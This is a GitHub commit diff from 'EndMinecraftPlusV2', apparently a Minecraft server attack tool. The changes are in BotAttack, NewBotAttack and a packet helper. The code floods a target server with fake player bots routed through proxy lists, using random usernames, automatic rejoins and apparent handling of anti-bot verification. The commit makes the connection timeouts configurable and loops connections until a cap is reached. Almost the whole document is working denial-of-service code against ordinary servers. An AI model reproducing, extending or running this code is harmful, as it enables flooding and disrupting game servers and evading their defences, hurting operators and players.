配置项功能完善

This commit is contained in:
SerendipityR 2022-08-24 00:01:20 +08:00 committed by GitHub
parent bea12d2a69
commit 992a9b7d75
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 70 additions and 58 deletions

View File

@ -131,7 +131,7 @@ public class BotAttack extends IAttack {
return; return;
} }
OtherUtils.doSleep(5 * 1000); OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack"); LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack");
cleanClients(); cleanClients();
} catch (Exception e) { } catch (Exception e) {
@ -201,35 +201,42 @@ public class BotAttack extends IAttack {
break; break;
} }
for (String p: ProxyUtil.proxies) { boolean run = true;
try { while (run) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); for (String p: ProxyUtil.proxies) {
try {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
String[] _p = p.split(":"); String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@"); String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy); Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(5 * 1000); client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.getSession().setWriteTimeout(5 * 1000); client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]); clientName.put(client, User[0]);
clients.add(client); clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy); ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (this.attack_motdbefore) { if (this.attack_motdbefore) {
pool.submit(() -> { pool.submit(() -> {
getMotd(proxy, ip, port); getMotd(proxy, ip, port);
client.getSession().connect(false);
});
} else {
client.getSession().connect(false); client.getSession().connect(false);
}); }
} else {
client.getSession().connect(false);
}
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) if (this.attack_joinsleep > 0) {
return; OtherUtils.doSleep(attack_joinsleep);
if (this.attack_joinsleep > 0) }
OtherUtils.doSleep(attack_joinsleep);
} catch (Exception e) { if (clients.size() > this.attack_maxconnect) {
LogUtil.doLog(1, "发生错误: " + e, null); run = false;
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
} }
} }
} }
@ -322,8 +329,8 @@ public class BotAttack extends IAttack {
OtherUtils.doSleep(ConfigUtil.RejoinDelay); OtherUtils.doSleep(ConfigUtil.RejoinDelay);
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(5000); rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
rejoinClient.getSession().setWriteTimeout(5000); rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
rejoin++; rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");

View File

@ -170,7 +170,7 @@ public class NewBotAttack extends IAttack {
return; return;
} }
OtherUtils.doSleep(5 * 1000); OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack"); LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack");
cleanClients(); cleanClients();
} catch (Exception e) { } catch (Exception e) {
@ -244,40 +244,45 @@ public class NewBotAttack extends IAttack {
break; break;
} }
for (String p: ProxyUtil.proxies) { boolean run = true;
try { while (run) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); for (String p: ProxyUtil.proxies) {
try {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
String[] _p = p.split(":"); String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@"); String[] User = AttackManager.getRandomUser().split("@");
Session client = createClient(ip, port, User[0], proxy); Session client = createClient(ip, port, User[0], proxy);
client.setReadTimeout(5 * 1000); client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.setWriteTimeout(5 * 1000); client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]); clientName.put(client, User[0]);
clients.add(client); clients.add(client);
ProxyUtil.clientsProxy.put(client, proxy); ProxyUtil.clientsProxy.put(client, proxy);
if (this.attack_motdbefore) { if (this.attack_motdbefore) {
pool.submit(() -> { pool.submit(() -> {
getMotd(proxy, ip, port); getMotd(proxy, ip, port);
client.connect(false);
});
} else {
client.connect(false); client.connect(false);
}); }
} else {
client.connect(false);
}
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) { if (this.attack_joinsleep > 0) {
return; OtherUtils.doSleep(attack_joinsleep);
} }
if (this.attack_joinsleep > 0) { if (clients.size() > this.attack_maxconnect) {
OtherUtils.doSleep(attack_joinsleep); run = false;
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
} }
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
} }
} }
} }
public Session createClient(final String ip, int port, final String username, Proxy proxy) { public Session createClient(final String ip, int port, final String username, Proxy proxy) {
@ -380,8 +385,8 @@ public class NewBotAttack extends IAttack {
OtherUtils.doSleep(ConfigUtil.RejoinDelay); OtherUtils.doSleep(ConfigUtil.RejoinDelay);
Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.setReadTimeout(5000); rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
rejoinClient.setWriteTimeout(5000); rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
rejoin++; rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");

View File

@ -48,7 +48,7 @@ public class MultiVersionPacket {
ClientSettingsPacket packet; ClientSettingsPacket packet;
try { try {
Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility"); Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility");
Class<?> parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;"); Class<?> parm2Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart;");
Class<?> parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand"); Class<?> parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand");
Class<?> skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart"); Class<?> skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart");